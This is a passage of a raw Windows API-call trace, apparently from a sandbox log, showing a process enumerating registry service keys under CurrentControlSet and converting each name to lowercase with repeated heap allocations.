RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0235.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.959] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0235.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0235.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0235.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.960] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0235.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0235.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0235.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.960] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0235.960] RegCloseKey (hKey=0x150) returned 0x0 [0235.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0235.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0235.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0235.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0235.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.962] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0235.962] RegCloseKey (hKey=0x154) returned 0x0 [0235.962] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0235.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0235.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0235.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.962] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0235.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0235.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1df0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0235.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.962] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0235.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.963] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1df0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.963] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.963] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1df0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0235.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0235.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.965] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.965] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0235.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0235.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0235.965] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0235.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0235.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, 